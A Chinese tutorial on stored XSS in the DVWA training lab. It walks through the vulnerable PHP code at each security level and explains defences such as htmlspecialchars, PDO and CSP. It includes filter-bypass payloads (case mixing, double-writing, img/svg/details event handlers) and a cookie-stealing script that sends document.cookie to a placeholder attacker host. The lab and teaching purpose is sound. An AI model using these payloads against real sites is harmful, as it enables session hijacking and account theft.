摘要 :本文是《DVWA从入门到精通》系列的第十一篇,带你全面掌握XSS (Stored)(存储型XSS)模块的攻防全流程。从存储型XSS的核心原理出发,逐步讲解Low、Medium、High三个级别的攻击手法与源码分析,并深入探讨Impossible级别的终极防御方案。文章包含存储型XSS与反射型XSS的深度对比、htmlspecialchars()与str_replace()的防御差异、大小写混淆与双写绕过、<img>标签事件注入、正则表达式绕过,以及htmlspecialchars()全面转义与参数化查询等企业级防御策略,让你真正做到"知其然更知其所以然"。
一、什么是存储型XSS?
1.1 存储型XSS的核心原理
存储型XSS(Stored Cross-Site Scripting)又称持久型XSS ,是跨站脚本攻击中危害最大 的一种类型。攻击者将恶意脚本代码永久性地存储在目标服务器上(如数据库、文件系统等),当其他用户访问受影响的页面时,恶意脚本会从服务器返回并在用户的浏览器中执行。
用一个生活化的例子来理解:
想象你在一个小区的水井旁贴了一张告示:"本水井水质优良,欢迎饮用。"小区居民都看到了,正常打水喝。有一天,一个坏人偷偷在水井旁边的告示栏里永久粘贴 了一张纸条,上面写着:"如果你喝了这口井的水,请把家里的钱放到小区门口的信箱里。"这张纸条一直贴在那里,每个来打水的人都会看到,然后莫名其妙地照做了------这就是存储型XSS。
攻击者不是把恶意代码藏在URL链接里让你点击,而是直接把恶意代码写进了网站的数据库里。每个访问这个页面的用户,都会从数据库加载这段恶意代码并执行。
1.2 存储型XSS vs 反射型XSS
存储型XSS与反射型XSS虽然都属于XSS攻击,但在多个维度上有本质区别:
| 对比维度 | 存储型XSS | 反射型XSS |
|---|---|---|
| 攻击向量存储 | 恶意脚本存储在目标服务器(如数据库) | 恶意脚本仅在URL参数中,不存储在服务器 |
| 触发条件 | 受害者访问包含恶意脚本的页面即可触发 | 受害者点击特制链接或提交含恶意代码的表单 |
| 持久性 | 长期有效,直到内容被管理员删除 | 单次有效,仅当前请求-响应周期生效 |
| 传播范围 | 影响所有访问该页面的用户 | 仅影响点击链接的特定用户 |
| 典型场景 | 评论区、留言板、用户资料等 | 搜索结果、错误提示、登录表单反馈等 |
| 危害程度 | 极高(可造成蠕虫、大规模Cookie窃取) | 中等(依赖用户点击) |
| 防御重点 | 严格过滤用户输入并转义输出内容 | 对URL参数等外部输入进行严格校验和编码 |
存储型XSS就像攻击者在网站的水源里下了毒,所有后续来喝水的用户都会中招。而反射型XSS则像一把需要你亲手递给攻击者的刀,攻击链依赖用户点击一个精心构造的恶意链接。
1.3 存储型XSS的危害
由于恶意脚本被持久化存储在服务器上,存储型XSS的危害性和影响范围远超反射型XSS:
| 危害 | 说明 |
|---|---|
| 窃取Cookie | 获取用户的登录凭证,劫持用户会话 |
| 大规模攻击 | 所有访问页面的用户都会中招,影响面极广 |
| XSS蠕虫 | 恶意脚本可自动传播,形成蠕虫效应 |
| 持久化控制 | 脚本长期存在于服务器,可反复利用 |
| 配合CSRF攻击 | 结合CSRF进行更复杂的攻击 |
| 键盘记录 | 记录用户在页面上的所有输入 |
二、准备工作
2.1 靶场环境
确保DVWA已部署并正常运行:
-
访问地址:
http://你的服务器IP/dvwa/login.php -
使用
admin/password登录
2.2 必备工具
| 工具 | 用途 |
|---|---|
| 浏览器(Chrome/Firefox) | 访问靶场,F12开发者工具查看页面源码和修改前端限制 |
| Burp Suite | 抓包分析、修改请求参数、绕过前端长度限制 |
2.3 基础知识储备
-
理解JavaScript的基本语法
-
了解HTML标签(
<script>、<img>、<svg>、<a>等) -
了解PHP的
htmlspecialchars()、str_replace()、preg_replace()等函数
三、Low级别:毫无防护的"裸奔"状态
3.1 安全级别设置
将DVWA Security设置为 Low 级别,然后进入 XSS (Stored) 模块。
3.2 界面观察
XSS (Stored)模块模拟了一个留言板系统,包含两个输入字段:
-
Name(姓名):用于输入留言者的名字
-
Message(消息):用于输入留言内容
页面下方显示所有历史留言。用户提交的内容会立即显示 在留言板上,并且刷新页面后仍然存在------说明数据被存储到了数据库中。

3.3 源码分析
点击页面顶部的 "View Source" 按钮,查看Low级别的核心代码:
php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
这段代码存在致命的存储型XSS漏洞:
| 缺陷 | 说明 |
|---|---|
| 无XSS过滤 | 对用户输入只做了trim()和SQL注入转义,没有任何XSS相关的过滤或转义 |
| 直接存入数据库 | 恶意脚本被原样存入数据库 |
| 输出时无转义 | 从数据库读取并显示到页面时,没有进行HTML实体编码 |
| 仅防御SQL注入 | mysqli_real_escape_string()只防御SQL注入,对XSS完全无效 |
3.4 攻击方法:直接注入恶意脚本
由于Low级别没有任何XSS防护,攻击者可以直接在输入框中注入JavaScript代码。
第一步:在Message框中注入Payload
在Message输入框中输入:
php
<script>alert(/XSS/)</script>
在Name输入框中随意输入(如"test"),点击"Sign Guestbook"提交。

页面立即弹出弹窗,显示"/XSS/"。
第二步:验证持久性
刷新页面------弹窗再次出现 !这说明恶意脚本已经被永久存储在数据库中,每次加载页面都会执行。
第三步:查看页面源码
右键查看页面源代码,可以看到恶意代码被直接插入到了HTML中:
php
<div id="guestbook_comments">
<div id="com_1" name="com_1">
<strong>test</strong><br />
<script>alert(/XSS/)</script>
</div>
</div>

常用Payload:
| Payload | 效果 |
|---|---|
<script>alert(1)</script> |
弹出数字1 |
<script>alert(/XSS/)</script> |
弹出"/XSS/" |
<script>alert(document.cookie)</script> |
弹出当前用户的Cookie |
<script>alert('hack')</script> |
弹出"hack" |
3.5 Low级别总结
| 缺陷 | 说明 |
|---|---|
| 无任何XSS过滤 | 用户输入直接存入数据库 |
| 输出时无转义 | 恶意脚本直接在浏览器中执行 |
| 持久化存储 | 恶意代码长期存在于服务器 |
| 高危漏洞 | 所有访问留言板的用户都会中招 |
四、Medium级别:htmlspecialchars()与str_replace()的"混合防御"
4.1 安全级别设置
将DVWA Security切换为 Medium 级别。
4.2 观察变化
在Medium级别下,尝试在Message框中输入Low级别的Payload <script>alert(/XSS/)</script>,发现弹窗没有出现 ------脚本被原样显示为文本了。

但在Name框中尝试同样的Payload,发现弹窗出现了!
这说明 :Message框和Name框使用了不同的防御方式。
4.3 源码分析
查看Medium级别的核心代码:
php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
Medium级别的变化:
| 字段 | 防御方式 | 安全性 |
|---|---|---|
| Message | htmlspecialchars() |
✅ 安全(特殊字符被转为HTML实体) |
| Name | str_replace( '<script>', '', $name ) |
❌ 不安全(仅过滤小写<script>) |
htmlspecialchars()会将<、>、&、"、'等特殊字符转换为HTML实体,浏览器会将其显示为普通文本而不是解析为HTML标签。因此Message框的XSS基本不可能。
但对于Name框,只使用了str_replace()简单过滤了<script>标签。str_replace()区分大小写 ,且只过滤单一标签。
4.4 攻击方法:绕过Name框的str_replace()过滤
由于Name框只过滤了小写的<script>标签,攻击者可以使用多种方法绕过:
方法一:大小写混淆绕过
JavaScript不区分大小写,而str_replace()区分大小写。
在Name框中输入(需要先用Burp Suite或修改前端maxlength绕过长度限制,详见下文):
php
<ScRipt>alert(/XSS/)</ScRipt>
提交后成功弹窗。

方法二:双写绕过
由于str_replace()只替换一次,可以通过双写绕过:
php
<scr<script>ipt>alert(/XSS/)</script>
过滤后<script>被移除,剩下的部分重新组合成<script>alert(/XSS/)</script>。
方法三:使用不带<script>标签的Payload
str_replace()只过滤<script>标签,其他HTML标签不受影响:
php
<img src=x onerror="alert(/XSS/)">
当图片加载失败时,onerror事件触发,执行JavaScript代码。
方法四:使用SVG标签
php
<svg/onload=alert('XSS')>
SVG图形加载完成时触发onload事件。
方法五:使用JavaScript伪协议
php
<a href="javascript:alert('Hacked')">点击领奖</a>
用户点击链接时执行JavaScript代码。
4.5 绕过前端长度限制
在Medium级别中,Name输入框在前端设置了maxlength="10"的限制,无法直接输入完整的Payload。
绕过方法一:浏览器开发者工具修改
右键点击Name输入框,选择"检查"(Inspect),在Elements面板中找到maxlength="10"属性,将其修改为更大的值(如100)或直接删除该属性。
php
<!-- 修改前 -->
<input type="text" name="txtName" maxlength="10">
<!-- 修改后 -->
<input type="text" name="txtName" maxlength="100">
绕过方法二:使用Burp Suite抓包修改
配置好Burp Suite代理,拦截提交请求,直接修改txtName参数的值。
php
POST /dvwa/vulnerabilities/xss_s/ HTTP/1.1
Host: 靶机IP
...
txtName=<ScRipt>alert(/XSS/)</ScRipt>&mtxMessage=test&btnSign=Sign+Guestbook
4.6 Medium级别总结
| 字段 | 防御方式 | 安全性 | 绕过方法 |
|---|---|---|---|
| Message | htmlspecialchars() |
✅ 安全 | 基本无法绕过 |
| Name | str_replace()过滤<script> |
❌ 不安全 | 大小写混淆、双写、其他标签 |
Medium级别的核心问题是:对同一应用的不同输入字段使用了不同强度的防御措施 。Message框使用了正确的防御方式(htmlspecialchars()),但Name框仍然使用脆弱的黑名单过滤,形成了防御的"短板"。攻击者只需要找到最薄弱的一环即可突破。
五、High级别:正则表达式的"加强过滤"
5.1 安全级别设置
将DVWA Security切换为 High 级别。
5.2 观察变化
在High级别下,尝试Medium级别的各种绕过方法(大小写混淆、双写等),发现大部分被阻止了 ------Name框对<script>的各种变形都进行了过滤。
5.3 源码分析
查看High级别的核心代码:
php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
High级别的变化:
| 字段 | 防御方式 | 安全性 |
|---|---|---|
| Message | htmlspecialchars() |
✅ 安全 |
| Name | preg_replace()正则过滤 |
⚠️ 比Medium强,但仍有漏洞 |
High级别对Name框使用了正则表达式进行过滤:
php
preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name )
这个正则表达式可以匹配<script>的各种变形,且末尾的i表示不区分大小写,因此大小写混淆不再有效。
5.4 正则表达式的局限
High级别的正则表达式虽然比Medium更强,但仍然存在局限:
| 问题 | 说明 |
|---|---|
仅针对<script>标签 |
只过滤<script>标签,其他标签不受影响 |
| 黑名单思维 | 仍然属于黑名单过滤,总有遗漏 |
| 未使用HTML转义 | Name框输出时仍然没有使用htmlspecialchars() |
5.5 攻击方法:使用非<script>标签注入
由于High级别的正则表达式只过滤<script>标签,攻击者可以使用其他HTML标签的事件属性来执行JavaScript代码。
方法一:<img>标签的onerror事件
在Name框中输入(同样需要绕过前端长度限制):
php
<img src=1 onerror=alert(/XSS/)>
当浏览器尝试加载src=1(一个不存在的图片)时,触发onerror事件,执行JavaScript代码。

方法二:<body>标签的onload事件
php
<body onload="alert(/XSS/)">
页面加载时触发onload事件。

方法三:<svg>标签的onload事件
php
<svg onload="alert(/XSS/)">
SVG图形加载完成时触发onload事件。
方法四:<details>标签的ontoggle事件
php
<details ontoggle="alert(/XSS/)">点击展开</details>
用户点击展开详情时触发ontoggle事件。

5.6 数据库长度限制的注意事项
在High级别中,Name字段在数据库中可能也有长度限制(如100个字符)。如果Payload过长,可能会被数据库截断导致攻击失败。需要注意Payload的长度控制。
5.7 High级别总结
| 防御机制 | 作用 | 绕过方法 |
|---|---|---|
正则表达式过滤<script> |
过滤<script>的各种变形(大小写、嵌套等) |
使用非<script>标签(<img>、<svg>等) |
htmlspecialchars()处理Message |
安全 | 无法绕过 |
| 黑名单机制 | 过滤特定标签 | 总有遗漏的标签或事件属性 |
六、Impossible级别:终极防御方案
6.1 安全级别设置
将DVWA Security切换为 Impossible 级别。
6.2 源码分析
查看Impossible级别的核心代码:
php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
6.3 Impossible级别的四重防御体系
Impossible级别构建了四重防御体系,彻底杜绝了存储型XSS的可能性:
第一层:CSRF Token验证
使用checkToken()函数验证请求中的user_token是否与会话中的session_token一致,防止跨站请求伪造攻击。
第二层:htmlspecialchars()全面转义(核心防御)
最关键的变化 :Name框和Message框都使用了htmlspecialchars() 进行HTML实体编码!
php
$message = htmlspecialchars( $message );
$name = htmlspecialchars( $name );
htmlspecialchars()会将以下特殊字符转换为HTML实体:
| 字符 | 转换后 | 说明 |
|---|---|---|
& |
& |
和号 |
" |
" |
双引号 |
' |
' |
单引号 |
< |
< |
小于号 |
> |
> |
大于号 |
转换后的效果:
当用户输入<script>alert(/XSS/)</script>时,经过htmlspecialchars()处理后变成:
php
<script>alert(/XSS/)</script>
浏览器会将<script>显示为文本<script>,而不会将其解析为HTML标签执行。
第三层:PDO预处理语句(防SQL注入)
使用PDO(PHP Data Objects)预处理语句执行数据库插入:
php
$data = $db->prepare( 'INSERT INTO guestbook (comment, name) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
SQL指令模板和数据分开发送 ,无论用户输入什么特殊字符,都会被严格当作普通字符串处理。
第四层:输入清理
使用trim()去除输入首尾的空白字符。
6.4 为什么Impossible级别无法被绕过?
要成功实施存储型XSS攻击,攻击者需要满足以下条件:
| 条件 | Impossible级别的防护 | 攻击者能否达成 |
|---|---|---|
注入<script>标签 |
htmlspecialchars()转义 |
❌ <被转为<,无法解析为标签 |
注入<img>等标签 |
htmlspecialchars()转义 |
❌ 所有标签都失效 |
| 注入事件属性 | htmlspecialchars()转义 |
❌ 引号和尖括号被转义 |
| 通过SQL注入绕过 | PDO预处理 | ❌ 无法注入 |
| CSRF攻击 | Token验证 | ❌ 无法伪造有效Token |
四重防护叠加 ,使得存储型XSS攻击在Impossible级别下完全不可行。
6.5 Impossible级别总结
| 防御层 | 技术手段 | 作用 |
|---|---|---|
| 第一层 | CSRF Token验证 | 防止跨站请求伪造 |
| 第二层 | htmlspecialchars()全面转义 |
将所有特殊字符转为HTML实体,彻底阻断XSS |
| 第三层 | PDO预处理语句 | 防止SQL注入 |
| 第四层 | trim()输入清理 |
去除首尾空白字符 |
七、存储型XSS的实战检测思路
在实际的渗透测试中,如何快速发现存储型XSS漏洞?
7.1 检测步骤
寻找存储型输入点:留言板、评论系统、用户资料编辑、文章发布等
注入测试Payload :输入<script>alert(1)</script>等基础Payload
观察持久性:
-
提交后是否立即执行?
-
刷新页面后是否再次执行?
-
其他用户访问时是否也会执行?
分析防护机制:
-
使用了什么过滤方式(黑名单、正则、转义)?
-
不同输入字段是否使用了不同的防护强度?
尝试绕过:根据防护机制选择合适的绕过方法
验证漏洞:确认XSS攻击是否持久化生效
7.2 常见绕过手法汇总
| 防护类型 | 绕过方法 | 适用级别 |
|---|---|---|
str_replace()过滤<script> |
大小写混淆(<ScRiPt>) |
Medium |
str_replace()过滤<script> |
双写(<scr<script>ipt>) |
Medium |
str_replace()过滤<script> |
使用<img>、<svg>等其他标签 |
Medium |
正则表达式过滤<script> |
使用非<script>标签 |
High |
| 前端长度限制 | 开发者工具修改maxlength或Burp Suite抓包 |
Medium/High |
htmlspecialchars() |
基本无法绕过(需配合其他漏洞) | --- |
7.3 存储型XSS的进阶利用:Cookie窃取
存储型XSS最经典的利用方式是窃取Cookie。
攻击步骤:
搭建Cookie接收服务:在攻击者服务器上搭建一个接收Cookie的服务
构造窃取Payload:
php
<script>
var img = new Image();
img.src = 'http://攻击者IP:8000/steal?cookie=' + document.cookie;
</script>
提交Payload到留言板:将恶意脚本存入数据库
等待受害者访问:当管理员或其他用户访问留言板时,Cookie被发送到攻击者服务器
获取Cookie:攻击者获取Cookie后可以劫持用户会话
八、防御存储型XSS的最佳实践
通过DVWA四个级别的对比,我们可以总结出防御存储型XSS的最佳实践:
8.1 必须实施的防御措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| 输出编码 | 对所有用户输入的内容使用htmlspecialchars()进行HTML实体编码 |
⭐⭐⭐⭐⭐ |
| 上下文感知转义 | 根据输出位置(HTML、属性、JavaScript)使用不同的转义方式 | ⭐⭐⭐⭐⭐ |
| 输入验证(白名单) | 只允许特定格式的输入(如姓名只允许字母数字) | ⭐⭐⭐⭐⭐ |
| 内容安全策略(CSP) | 限制页面可以加载和执行的脚本来源 | ⭐⭐⭐⭐ |
| HttpOnly Cookie | 设置Cookie的HttpOnly属性,防止JavaScript读取 | ⭐⭐⭐⭐ |
8.2 推荐的辅助措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| CSRF Token | 防止跨站请求伪造 | ⭐⭐⭐⭐ |
| PDO预处理语句 | 防止SQL注入 | ⭐⭐⭐⭐ |
| 定期安全审计 | 对代码进行定期安全审查 | ⭐⭐⭐ |
| 输入长度限制 | 限制输入长度,减小攻击面 | ⭐⭐ |
8.3 常见误区
在实际开发中,以下做法不能有效防御存储型XSS:
-
❌ 仅对部分输入字段进行转义:攻击者会寻找未转义的字段(如Medium级别的Name框)
-
❌ 仅使用黑名单过滤:总有遗漏的标签或属性(如Medium、High级别)
-
❌ 仅使用
str_replace():区分大小写、不递归,容易被绕过 -
❌ 仅使用前端验证:攻击者可以绕过前端直接发请求
-
❌ 混淆SQL注入防御和XSS防御 :
mysqli_real_escape_string()对XSS完全无效
8.4 正确的防御策略
核心原则 :信任是万恶之源------永远不要信任用户输入的任何内容。
正确的做法:
php
输入阶段:进行白名单验证(只允许预期格式的输入)
存储阶段:使用PDO预处理语句防止SQL注入
输出阶段:使用htmlspecialchars()对所有输出进行HTML实体编码
这三个环节缺一不可。DVWA的Impossible级别正是通过"输入验证 + 输出编码 + 参数化查询"的纵深防御策略,从根本上杜绝了存储型XSS漏洞。
九、总结
本文聚焦存储型XSS漏洞展开完整学习,我们明确其核心原理:恶意脚本会持久存入服务器数据库,所有访问页面的用户都会触发恶意代码执行,危害范围与严重程度远高于反射型XSS,并从存储位置、触发方式、持久性、影响人群、应用场景、风险等级六个维度对比两类XSS核心差异;我们逐级实操DVWA各安全等级,Low无任何过滤,在留言框植入script标签后页面刷新仍会弹窗,验证漏洞持久化特性,Medium仅对留言内容做html实体转义,用户名称输入框仅黑名单过滤小写script,可通过大小写变形、标签双写、img事件标签实现绕过,High依靠正则不区分大小写过滤各类script变体,改用非script事件标签即可突破限制,Impossible融合CSRF Token、全局htmlspecialchars转义、PDO预处理语句、trim输入清洗四层防护,从输入存储到页面输出全链路阻断XSS;同时梳理出统一使用htmlspecialchars做输出编码、输入内容白名单校验、配置CSP策略、Cookie开启HttpOnly等防御方案。存储型XSS是风险最高的XSS分支,注入一次就能批量侵害全部访客,借助DVWA存储型XSS模块我们同时掌握多种绕过攻击手法与全链路防护思路,生产环境中对全部用户输入执行html实体输出编码、搭配输入白名单校验与参数化数据库查询,多重防护结合可从根源消除存储型XSS安全隐患。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。